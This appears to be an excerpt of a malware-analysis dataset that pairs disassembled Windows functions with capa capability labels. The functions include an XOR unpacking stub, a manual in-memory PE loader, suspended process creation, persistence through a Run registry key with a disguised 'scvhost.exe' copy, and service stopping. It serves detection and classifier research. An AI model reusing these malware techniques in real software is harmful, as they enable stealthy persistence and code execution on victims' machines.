joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4093fc
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov ebx, eax
mov esi, ecx
dec esi
test esi, esi
jl 0x409456
inc esi
xor edi, edi
cmp edi, 1
jne 0x409422
mov eax, dword [ebp + 0xc]
push eax
call sub.kernel32.dll_Sleep
jmp 0x409430
cmp edi, 1
jle 0x409430
mov eax, dword [ebp + 8]
push eax
call sub.kernel32.dll_Sleep
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.00408ee0
test eax, eax
jne 0x409456
call sub.kernel32.dll_GetLastError_1
cmp eax, 2
je 0x409456
call sub.kernel32.dll_GetLastError_1
cmp eax, 3
je 0x409456
inc edi
dec esi
jne 0x409412
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8

Function at 0x409888
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40995b
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x409974
push ebx
push 0x409980
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.004033b4
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.0040277c
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403414
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x409908
mov al, 0x62
call fcn.00409460
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.0040985c
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
dec eax
je 0x409911
call fcn.0040985c
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409962
lea eax, [ebp - 4]
call fcn.00403198
ret
Function at 0x409a14
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409ac8
jmp 0x409abd
cmp dword [esi + 0x10], 0x1000
jne 0x409aa9
test byte [esi + 0x15], 1
jne 0x409aa9
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409a68
cmp eax, 2
je 0x409a68
cmp eax, 0x10
je 0x409a68
cmp eax, 0x20
jne 0x409a7d
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409a7d
mov bl, 1
xor ebp, ebp
jmp 0x409a8e
mov eax, dword [esi]
add eax, ebp
call fcn.00409a0c
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x409a81
test bl, bl
je 0x409aa9
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409ac8
mov eax, dword [esi + 4]
cmp eax, edi
je 0x409a40
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..reloc
nop
mov ebx, 0x40de38
nop
nop
mov ecx, 0x1a6112c9
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x433024
nop
mov eax, section..text
mov ebx, 0x4304d8
nop
mov ecx, 0x74922fcf
nop
nop
nop
nop
test eax, eax
nop
je 0x433084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x10001b24
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0
mov edi, ecx
mov eax, dword [esi]
push 0x80
mov dword [ebp - 4], eax
mov eax, dword [esi + 4]
push 3
mov dword [ebp + 8], eax
push 0
push 2
lea eax, [edi + 0x18]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
lea eax, [ebp - 4]
push 0
push eax
push dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 8]
push 0
push eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff8
add esi, 8
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov ecx, dword [0x1000ae40]
add dword [ebp + 8], eax
lea eax, [ebp - 4]
push 4
push eax
lea eax, [ebp - 0x13]
mov byte [ebp - 0x14], 0xdb
push eax
call fcn.100056b7
mov ecx, dword [0x1000ae40]
lea eax, [ebp + 8]
push 4
push eax
lea eax, [ebp - 0xf]
push eax
call fcn.100056b7
push 0x14
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x14]
push 9
push eax
mov ecx, edi
call fcn.10004b67
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x10001bda
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
push edi
push 0
mov esi, ecx
push 0x80
push 3
push 0
push 0
lea eax, [esi + 0x18]
push bind
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10001c17
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, esi
call fcn.10001c92
jmp 0x10001c8c
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push edi
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x1000ae40]
lea eax, [ebp - 4]
push 4
push eax
lea eax, [ebp - 0x17]
mov byte [ebp - 0x18], 0xdd
push eax
call fcn.100056b7
mov ecx, dword [0x1000ae40]
lea eax, [ebp - 8]
push 4
push eax
lea eax, [ebp - 0x13]
push eax
call fcn.100056b7
mov ecx, dword [0x1000ae40]
push 4
lea eax, [ebp - 0xf]
push 0x1000ae44
push eax
call fcn.100056b7
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x18]
push 0xd
push eax
mov ecx, esi
call fcn.10004b67
pop edi
pop esi
leave
ret 4
Function at 0x100028ce
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
mov byte [ebp - 2], 0x5c
mov byte [ebp - 1], bl
call edi
push 0x104
mov esi, 0x1000b080
push ebx
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
push ebx
call edi
push ebx
push 0x1a
push esi
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push ebx
call edi
mov ecx, dword [0x1000ae40]
lea eax, [ebp - 2]
push eax
push esi
call fcn.100056e1
push dword [ebp + 8]
mov ecx, dword [0x1000ae40]
push esi
call fcn.100056e1
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100029b0
Capabilities:
Check if file exists
Get file attributes
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov al, byte [0x1000a544]
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
xor edi, edi
cmp dword [0x1000b188], edi
mov dword [ebp - 4], edi
mov byte [ebp - 8], al
jne 0x10002abc
push dword [ebp + 8]
call fcn.100028ce
pop ecx
push edi
call esi
mov ebx, 0x1000b080
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x10002a03
push 0x7b
push ebx
call fcn.1000283c
pop ecx
pop ecx
jmp 0x10002aae
push edi
call esi
push edi
push 0x80
push 3
push edi
push edi
push bind
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [0x1000b078], eax
je 0x10002aae
push edi
call esi
push edi
push dword [0x1000b078]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 4
push 0x3000
push eax
push edi
mov dword [0x1000b070], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
mov dword [0x1000b184], eax
call esi
push edi
push 0x1000b074
push dword [0x1000b070]
push dword [0x1000b184]
push dword [0x1000b078]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call esi
push dword [0x1000b078]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call esi
push dword [0x1000b070]
push dword [0x1000b184]
call fcn.10002930
push dword [0x1000b184]
call fcn.10004bac
add esp, 0xc
cmp eax, edi
mov dword [0x1000b07c], eax
jne 0x10002ab2
xor eax, eax
jmp 0x10002af5
mov dword [0x1000b188], 1
push edi
call esi
push dword [ebp + 0xc]
push dword [0x1000b07c]
call fcn.10004fe4
pop ecx
cmp eax, edi
pop ecx
je 0x10002af2
push dword [ebp + 0x10]
push str.127.0.0.1
push dword [ebp - 8]
push edi
push dword [0x1000a124]
push 0x1000b194
call eax
add esp, 0x18
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10002c00
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
lea eax, [ebp - 0x104]
push 0x104
push eax
push dword [0x1000b398]
call dword [0x1000b3cc]
cmp dword [ebp + 8], 0
je 0x10002c48
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x208]
push str.Rundll32___s__DllUpdate__s
push eax
call dword [0x1000b438]
add esp, 0x10
jmp 0x10002c64
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x208]
push str.Rundll32___s__Uninstall
push eax
call dword [0x1000b438]
add esp, 0xc
lea eax, [ebp - 0x208]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov dword [0x1000b514], 1
leave
ret

Function at 0x10002e77
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2d8
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0x170
lea eax, [ebp - 0x2d8]
push esi
push eax
call dword [0x1000b4b8]
add esp, 0xc
xor ebx, ebx
xor eax, eax
lea edi, [ebp - 0x167]
push 0x59
mov byte [ebp - 0x168], bl
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
push ebx
push 2
push ebx
stosb byte es:[edi], al
push 1
lea eax, [ebp - 0x1cc]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x10002ef4
lea eax, [ebp + 8]
push ebx
push eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffe90
add esi, 0x170
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x10002efb
xor eax, eax
jmp 0x10002f81
push edi
call dword [0x1000b3dc]
lea eax, [ebp - 0x2d0]
push eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
je 0x10002f38
lea eax, [ebp - 0x2d0]
push eax
lea eax, [ebp - 0x1cc]
push eax
lea eax, [ebp - 0x168]
push str._s__s
push eax
call dword [0x1000b438]
add esp, 0x10
jmp 0x10002f4c
lea eax, [ebp - 0x1cc]
push eax
lea eax, [ebp - 0x168]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 0x2d4]
sub eax, ebx
je 0x10002f6e
dec eax
je 0x10002f6b
dec eax
dec eax
jne 0x10002f7e
lea eax, [ebp - 0x168]
push eax
call fcn.10002c00
jmp 0x10002f7d
push ebx
jmp 0x10002f70
push 5
lea eax, [ebp - 0x168]
push eax
call fcn.10002c7f
pop ecx
pop ecx
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10003321
Capabilities:
Copy file
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x164
and byte [ebp - 0x164], 0
push ebx
push esi
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x163]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ebx, 0x104
lea eax, [ebp - 0x164]
push ebx
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0xa
mov esi, str.C:Program_FilesCommon_Files_scvhost.exe
pop ecx
lea edi, [ebp - 0x60]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0xc
xor eax, eax
pop ecx
lea edi, [ebp - 0x36]
rep stosd dword es:[edi], eax
xor esi, esi
lea eax, [ebp - 0x60]
push esi
push eax
lea eax, [ebp - 0x164]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 4]
push eax
push 0xf003f
push esi
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100033c4
lea eax, [ebp - 0x164]
push ebx
push eax
push 1
push esi
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
xor al, al
pop ebx
leave
ret

Function at 0x1000356a
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
xor esi, esi
push edi
push esi
call dword [0x1000b500]
lea eax, [ebp - 0xc]
xor edi, edi
push eax
push 0x100082b8
push 1
push esi
push 0x100082d8
mov dword [ebp - 0xc], esi
call dword [0x1000b508]
test eax, eax
jge 0x100035a2
xor eax, eax
jmp 0x10003648
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 8]
push esi
mov dword [ebp - 8], esi
mov ecx, dword [eax]
push edx
push 0x100082c8
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x10003637
mov dword [ebp - 4], esi
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x14]
push edx
lea edx, [ebp - 4]
mov ecx, dword [eax]
push edx
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x1000362e
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x10]
push edx
push 0x100082a8
mov ecx, dword [eax]
push esi
push esi
push eax
call dword [ecx + 0x24]
test eax, eax
jl 0x10003623
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x24]
push esi
push edx
mov ecx, dword [eax]
push str.FriendlyName
push eax
call dword [ecx + 0xc]
test eax, eax
jl 0x10003610
inc edi
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
jmp 0x100035bf
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [0x1000b504]
mov eax, edi
pop edi
pop esi
leave
ret
Function at 0x100040bd
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
xor esi, esi
push edi
push esi
call dword [0x1000b500]
lea eax, [ebp - 0xc]
xor edi, edi
push eax
push 0x100082b8
push 1
push esi
push 0x100082d8
mov dword [ebp - 0xc], esi
call dword [0x1000b508]
test eax, eax
jge 0x100040f5
xor eax, eax
jmp 0x1000419b
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 8]
push esi
mov dword [ebp - 8], esi
mov ecx, dword [eax]
push edx
push 0x100082c8
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x1000418a
mov dword [ebp - 4], esi
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x14]
push edx
lea edx, [ebp - 4]
mov ecx, dword [eax]
push edx
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x10004181
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x10]
push edx
push 0x100082a8
mov ecx, dword [eax]
push esi
push esi
push eax
call dword [ecx + 0x24]
test eax, eax
jl 0x10004176
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x24]
push esi
push edx
mov ecx, dword [eax]
push str.FriendlyName
push eax
call dword [ecx + 0xc]
test eax, eax
jl 0x10004163
inc edi
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
jmp 0x10004112
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [0x1000b504]
mov eax, edi
pop edi
pop esi
leave
ret
Function at 0x10004579
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8a0
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov esi, 0x100
lea eax, [ebp - 0x39c]
push esi
push dword [edi]
push eax
call dword [sym.imp.MSVCRT.dll_strncpy]
push esi
lea eax, [ebp - 0x39c]
push dword [edi]
push eax
call dword [sym.imp.MSVCRT.dll_wcstombs]
add esp, 0x18
lea eax, [ebp - 0x39c]
push 0x10004502
push eax
call dword [0x1000b454]
xor ebx, ebx
mov dword [0x1000b510], eax
cmp eax, ebx
je 0x1000476f
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 1
push ebx
push 2
call fcn.10004430
push ebx
push ebx
push 4
call fcn.10004430
add esp, 0x18
lea eax, [ebp - 0x94]
mov dword [ebp - 0x94], 0x94
push eax
call dword [0x1000b408]
cmp dword [ebp - 0x84], 2
jne 0x10004750
cmp dword [ebp - 0x90], 6
jae 0x10004624
call sym.MainDll.dll_MainThread
jmp 0x10004750
lea eax, [ebp - 0x198]
mov esi, 0x104
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [ebp - 0x198]
push 0x1000a400
push eax
lea eax, [ebp - 0x198]
push str._s_s.exe
push eax
call dword [0x1000b438]
add esp, 0x10
lea eax, [ebp - 0x29c]
push esi
push eax
call dword [0x1000b418]
lea eax, [ebp - 0x29c]
push str.Rundll32.exe
push eax
call dword [0x1000b3e4]
lea eax, [ebp - 0x198]
push 1
push eax
lea eax, [ebp - 0x29c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0x198]
push eax
call fcn.10006b59
test eax, eax
pop ecx
jne 0x100046b5
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x198]
push eax
call dword [0x1000b438]
pop ecx
pop ecx
lea eax, [ebp - 0x4a0]
push esi
push eax
xor edi, edi
push dword [0x1000b398]
mov dword [ebp + 0xc], ebx
call dword [0x1000b3cc]
lea eax, [ebp - 0x4a0]
push eax
lea eax, [ebp - 0x198]
push eax
lea eax, [ebp - 0x8a0]
push str._s___s__MainThread
push eax
call dword [0x1000b438]
add esp, 0x10
push 0x3e8
call dword [0x1000b3e0]
lea eax, [ebp + 0xc]
push eax
push edi
call dword [0x1000b40c]
cmp dword [ebp + 0xc], 0x103
je 0x10004731
push edi
call dword [0x1000b3dc]
push 0xbb8
call dword [0x1000b3e0]
lea eax, [ebp - 0x8a0]
push eax
call fcn.1000226d
pop ecx
mov edi, eax
mov eax, dword [0x1000b50c]
cmp eax, 3
je 0x10004740
cmp eax, 1
jne 0x100046f1
push 0xffffffffffffffff
push edi
call dword [0x1000b3ec]
push edi
call dword [0x1000b3dc]
push 0x64
call dword [0x1000b3e0]
mov eax, dword [0x1000b50c]
cmp eax, 3
je 0x1000476f
cmp eax, 1
je 0x1000476f
cmp dword [0x1000b514], ebx
je 0x10004750
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x10004bac
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
cmp word [eax], 0x5a4d
jne 0x10004cbc
mov esi, dword [eax + 0x3c]
add esi, eax
cmp dword [esi], 0x4550
jne 0x10004cbc
mov edi, 0x2000
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push edi
push dword [esi + 0x50]
push dword [esi + 0x34]
call ebx
test eax, eax
mov dword [ebp - 4], eax
jne 0x10004c04
push 4
push edi
push dword [esi + 0x50]
push eax
call ebx
test eax, eax
mov dword [ebp - 4], eax
je 0x10004cbc
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
mov eax, dword [ebp - 4]
xor ecx, ecx
push 4
push 0x1000
mov dword [edi + 4], eax
mov dword [edi + 0xc], ecx
mov dword [edi + 8], ecx
mov dword [edi + 0x10], ecx
push dword [esi + 0x50]
push eax
call ebx
push 4
push 0x1000
push dword [esi + 0x54]
push dword [ebp - 4]
call ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 8], eax
mov ecx, dword [ebx + 0x3c]
add ecx, dword [esi + 0x54]
push ecx
push ebx
push eax
call dword [0x1000b4b8]
mov eax, dword [ebx + 0x3c]
mov ecx, dword [ebp - 8]
add eax, ecx
mov ecx, dword [ebp - 4]
push edi
push esi
mov dword [edi], eax
push ebx
mov dword [eax + 0x34], ecx
call fcn.10004cca
mov ebx, dword [ebp - 4]
add esp, 0x18
mov eax, ebx
sub eax, dword [esi + 0x34]
je 0x10004c87
push eax
push edi
call fcn.10004e36
pop ecx
pop ecx
push edi
call fcn.10004eb0
test eax, eax
pop ecx
je 0x10004cb5
push edi
call fcn.10004d79
mov eax, dword [edi]
pop ecx
mov eax, dword [eax + 0x28]
test eax, eax
je 0x10004cc3
add eax, ebx
test eax, eax
je 0x10004cb5
push 0
push 1
pop esi
push esi
push ebx
call eax
test eax, eax
jne 0x10004cc0
push edi
call fcn.1000506f
pop ecx
xor eax, eax
jmp 0x10004cc5
mov dword [edi + 0x10], esi
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10004cca
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
and dword [ebp - 4], 0
push esi
mov ecx, dword [eax + 4]
mov eax, dword [eax]
mov dword [ebp - 8], ecx
movzx ecx, word [eax + 0x14]
cmp word [eax + 6], 0
lea esi, [ecx + eax + 0x18]
jbe 0x10004d76
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
add esi, 0x10
mov ebx, 0x1000
cmp dword [esi], 0
jne 0x10004d36
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0x38]
test eax, eax
mov dword [ebp - 0xc], eax
jle 0x10004d60
push 4
push ebx
push eax
mov eax, dword [esi - 4]
add eax, dword [ebp - 8]
push eax
call edi
push dword [ebp - 0xc]
mov dword [esi - 8], eax
push 0
push eax
call dword [0x1000b4bc]
add esp, 0xc
jmp 0x10004d60
mov eax, dword [esi - 4]
push 4
add eax, dword [ebp - 8]
push ebx
push dword [esi]
push eax
call edi
mov ecx, dword [esi + 4]
push dword [esi]
add ecx, dword [ebp + 8]
mov dword [ebp - 0xc], eax
push ecx
push eax
call dword [0x1000b4b8]
mov eax, dword [ebp - 0xc]
add esp, 0xc
mov dword [esi - 8], eax
mov eax, dword [ebp + 0x10]
inc dword [ebp - 4]
add esi, 0x28
mov eax, dword [eax]
movzx eax, word [eax + 6]
cmp dword [ebp - 4], eax
jl 0x10004d03
pop edi
pop ebx
pop esi
leave
ret
Function at 0x10005725
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
push ebx
push esi
lea eax, [ebp - 0x190]
mov esi, ecx
push eax
push 0x202
mov dword [esi], 0x10008260
call dword [sym.imp.WS2_32.dll_WSAStartup]
or dword [esi + 0x6c], 0xffffffff
xor ebx, ebx
push 0x32
lea eax, [esi + 8]
push ebx
push eax
mov dword [esi + 0x70], ebx
mov dword [esi + 4], ebx
call sub.MSVCRT.dll_memset
push 0x32
lea eax, [esi + 0x3a]
push ebx
push eax
call sub.MSVCRT.dll_memset
mov eax, dword [ebp + 8]
add esp, 0x18
mov dword [esi + 0x9c], eax
lea eax, [esi + 0x84]
push eax
mov dword [esi + 0x78], ebx
mov dword [esi + 0x7c], ebx
mov byte [esi + 0x80], bl
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, esi
pop esi
pop ebx
leave
ret 4

Function at 0x10005866
Capabilities:
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push edi
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 0xf01ff
mov edi, eax
push dword [ebp + 8]
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
lea eax, [ebp - 0x1c]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [ebp - 0x18], 1
je 0x100058ab
lea eax, [ebp - 0x1c]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
pop edi
pop esi
leave
ret

Function at 0x100058bb
Capabilities:
Query service status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push edi
push 6
xor edx, edx
pop ecx
xor eax, eax
lea edi, [ebp - 0x18]
mov dword [ebp - 0x1c], edx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x1c]
push eax
mov eax, bind
push eax
push dword [ebp + 8]
push eax
push edx
push edx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push eax
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
xor ecx, ecx
cmp dword [ebp - 0x18], 4
pop edi
sete cl
neg eax
sbb eax, eax
and eax, ecx
leave
ret